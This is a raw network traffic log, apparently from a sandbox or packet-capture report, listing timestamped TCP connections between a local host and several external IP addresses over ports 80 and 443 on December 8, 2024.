Dec 8, 2024 15:38:49.920348883 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:49.933269978 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:49.940356016 CET	443	49819	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:49.940769911 CET	443	49818	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:49.941284895 CET	49819	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:49.941303968 CET	443	49819	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:49.941385031 CET	49818	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:49.941395998 CET	443	49818	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:49.941528082 CET	443	49817	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:49.941730022 CET	443	49815	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:49.941865921 CET	49819	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:49.941871881 CET	443	49819	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:49.942104101 CET	49818	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:49.942111015 CET	443	49818	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:49.942125082 CET	443	49816	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:49.942630053 CET	49817	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:49.942636013 CET	443	49817	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:49.943027020 CET	49817	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:49.943031073 CET	443	49817	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:49.943097115 CET	49816	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:49.943104029 CET	443	49816	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:49.943444014 CET	49816	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:49.943448067 CET	443	49816	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:49.943661928 CET	49815	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:49.943672895 CET	443	49815	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:49.944127083 CET	49815	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:49.944132090 CET	443	49815	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:50.040251017 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:50.059990883 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:50.060111046 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:50.060223103 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:50.060452938 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:50.060992002 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:50.063790083 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:50.183774948 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:50.373343945 CET	443	49819	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:50.373405933 CET	443	49819	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:50.373481035 CET	49819	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:50.373816013 CET	49819	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:50.373830080 CET	443	49819	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:50.373841047 CET	49819	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:50.373846054 CET	443	49819	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:50.374353886 CET	443	49818	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:50.374413013 CET	443	49818	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:50.374526024 CET	49818	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:50.374612093 CET	49818	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:50.374612093 CET	49818	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:50.374624968 CET	443	49818	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:50.374634027 CET	443	49818	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:50.375155926 CET	443	49816	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:50.375211000 CET	443	49815	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:50.375222921 CET	443	49816	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:50.375283957 CET	49816	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:50.375289917 CET	443	49815	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:50.375335932 CET	49815	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:50.375663996 CET	49815	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:50.375667095 CET	49816	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:50.375673056 CET	443	49816	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:50.375673056 CET	443	49815	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:50.375689030 CET	49816	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:50.375694036 CET	49815	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:50.375695944 CET	443	49816	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:50.375698090 CET	443	49815	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:50.377794981 CET	49820	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:50.377816916 CET	443	49820	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:50.377892971 CET	49820	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:50.378365993 CET	49820	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:50.378375053 CET	443	49820	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:50.378453016 CET	49821	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:50.378478050 CET	443	49821	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:50.378561974 CET	49821	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:50.378719091 CET	49821	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:50.378732920 CET	443	49821	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:50.379410028 CET	49822	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:50.379430056 CET	443	49822	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:50.379529953 CET	49823	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:50.379539013 CET	443	49823	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:50.379563093 CET	49822	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:50.379610062 CET	49823	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:50.379677057 CET	49822	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:50.379689932 CET	443	49822	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:50.379808903 CET	49823	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:50.379817963 CET	443	49823	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:50.401436090 CET	443	49817	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:50.401489973 CET	443	49817	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:50.401546001 CET	49817	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:50.401715994 CET	49817	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:50.401726961 CET	443	49817	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:50.401736975 CET	49817	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:50.401741028 CET	443	49817	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:50.404026985 CET	49824	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:50.404048920 CET	443	49824	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:50.404221058 CET	49824	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:50.404380083 CET	49824	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:50.404391050 CET	443	49824	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:50.503217936 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:50.503334045 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:50.515762091 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:50.635642052 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:51.447232008 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:51.447293043 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:51.476886988 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:51.596215010 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:51.916259050 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:51.916323900 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:51.920464993 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:52.040656090 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:52.040802956 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:52.041014910 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:52.093672037 CET	443	49821	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:52.094309092 CET	49821	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:52.094320059 CET	443	49821	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:52.094858885 CET	49821	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:52.094863892 CET	443	49821	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:52.096297026 CET	443	49823	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:52.096585989 CET	49823	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:52.096592903 CET	443	49823	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:52.096992016 CET	49823	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:52.096997023 CET	443	49823	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:52.098156929 CET	443	49822	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:52.098356962 CET	443	49820	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:52.098419905 CET	49822	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:52.098445892 CET	443	49822	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:52.098622084 CET	49820	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:52.098628044 CET	443	49820	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:52.098882914 CET	49822	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:52.098889112 CET	443	49822	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:52.099102974 CET	49820	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:52.099107027 CET	443	49820	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:52.125686884 CET	443	49824	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:52.126101017 CET	49824	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:52.126111031 CET	443	49824	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:52.126604080 CET	49824	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:52.126607895 CET	443	49824	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:52.160487890 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:52.527582884 CET	443	49821	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:52.527654886 CET	443	49821	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:52.527730942 CET	49821	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:52.527997971 CET	49821	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:52.528013945 CET	443	49821	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:52.528026104 CET	49821	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:52.528032064 CET	443	49821	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:52.531341076 CET	49826	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:52.531359911 CET	443	49826	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:52.531440973 CET	49826	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:52.531600952 CET	49826	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:52.531613111 CET	443	49826	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:52.533174992 CET	443	49822	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:52.533235073 CET	443	49822	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:52.533299923 CET	49822	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:52.533433914 CET	49822	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:52.533447981 CET	443	49822	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:52.533472061 CET	49822	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:52.533478975 CET	443	49822	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:52.535135984 CET	443	49823	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:52.535164118 CET	443	49823	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:52.535233974 CET	49823	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:52.535242081 CET	443	49823	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:52.535406113 CET	49823	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:52.535406113 CET	49823	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:52.535418034 CET	443	49823	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:52.535577059 CET	443	49823	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:52.535625935 CET	443	49823	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:52.535665989 CET	49823	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:52.535761118 CET	49827	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:52.535770893 CET	443	49827	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:52.535825014 CET	49827	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:52.536003113 CET	49827	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:52.536012888 CET	443	49827	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:52.537254095 CET	49828	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:52.537297010 CET	443	49828	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:52.537316084 CET	443	49820	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:52.537336111 CET	443	49820	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:52.537357092 CET	49828	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:52.537389040 CET	49820	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:52.537405014 CET	443	49820	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:52.537441015 CET	443	49820	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:52.537478924 CET	49820	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:52.537552118 CET	49820	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:52.537558079 CET	443	49820	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:52.537560940 CET	49828	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:52.537585020 CET	443	49828	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:52.537605047 CET	49820	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:52.537609100 CET	443	49820	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:52.539635897 CET	49829	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:52.539663076 CET	443	49829	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:52.539741993 CET	49829	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:52.539885998 CET	49829	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:52.539896965 CET	443	49829	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:52.568671942 CET	443	49824	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:52.568694115 CET	443	49824	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:52.568782091 CET	49824	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:52.568792105 CET	443	49824	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:52.568836927 CET	49824	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:52.568967104 CET	49824	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:52.568972111 CET	443	49824	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:52.568986893 CET	49824	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:52.569104910 CET	443	49824	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:52.569133997 CET	443	49824	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:52.569196939 CET	49824	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:52.570904016 CET	49830	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:52.570950031 CET	443	49830	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:52.573127985 CET	49830	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:52.573263884 CET	49830	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:52.573286057 CET	443	49830	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:52.969090939 CET	80	49703	217.20.58.99	192.168.2.6
Dec 8, 2024 15:38:52.969234943 CET	49703	80	192.168.2.6	217.20.58.99
Dec 8, 2024 15:38:52.969388962 CET	49703	80	192.168.2.6	217.20.58.99
Dec 8, 2024 15:38:53.088941097 CET	80	49703	217.20.58.99	192.168.2.6
Dec 8, 2024 15:38:53.373462915 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.373476982 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.373490095 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.373500109 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.373512030 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.373524904 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.373537064 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.373562098 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.373583078 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.373591900 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.373600006 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.373613119 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.373622894 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.373656034 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.492965937 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.493057013 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.493123055 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.565479994 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.565512896 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.565551043 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.565578938 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.569526911 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.569572926 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.569608927 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.569648981 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.577893019 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.577959061 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.580944061 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.580996037 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.581034899 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.581077099 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.589365005 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.589416981 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.589456081 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.589502096 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.597686052 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.597754955 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.597795010 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.597836018 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.606386900 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.606436014 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.606499910 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.606544018 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.614783049 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.614834070 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.614837885 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.614871979 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.622906923 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.622958899 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.623044014 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.623089075 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.631232977 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.631284952 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.631325960 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.631366968 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.639843941 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.639981031 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.639996052 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.640043974 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.647917032 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.647972107 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.684895992 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.684974909 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.757548094 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.757679939 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.757740021 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.757786036 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.760060072 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.760126114 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.760191917 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.760235071 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.765754938 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.765820026 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.765979052 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.766026974 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.770385981 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.770448923 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.770503998 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.770571947 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.775147915 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.775212049 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.775254011 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.775296926 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.780313015 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.780373096 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.780373096 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.780414104 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.785026073 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.785068989 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.785082102 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.785106897 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.789840937 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.789897919 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.789942026 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.789982080 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.794956923 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.795030117 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.795090914 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.795141935 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.800319910 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.800384045 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.800453901 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.800493002 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.805090904 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.805170059 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.805267096 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.805311918 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.810112953 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.810190916 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.810264111 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.810323000 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.814320087 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.814378023 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.814444065 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.814486027 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.818192005 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.818257093 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.818289995 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.818330050 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.821958065 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.822016954 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.822154999 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.822201014 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.825783968 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.825839043 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.825876951 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.825944901 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.829543114 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.829600096 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:53.829632044 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:53.829664946 CET	49825	80	192.168.2.6	185.215.113.16
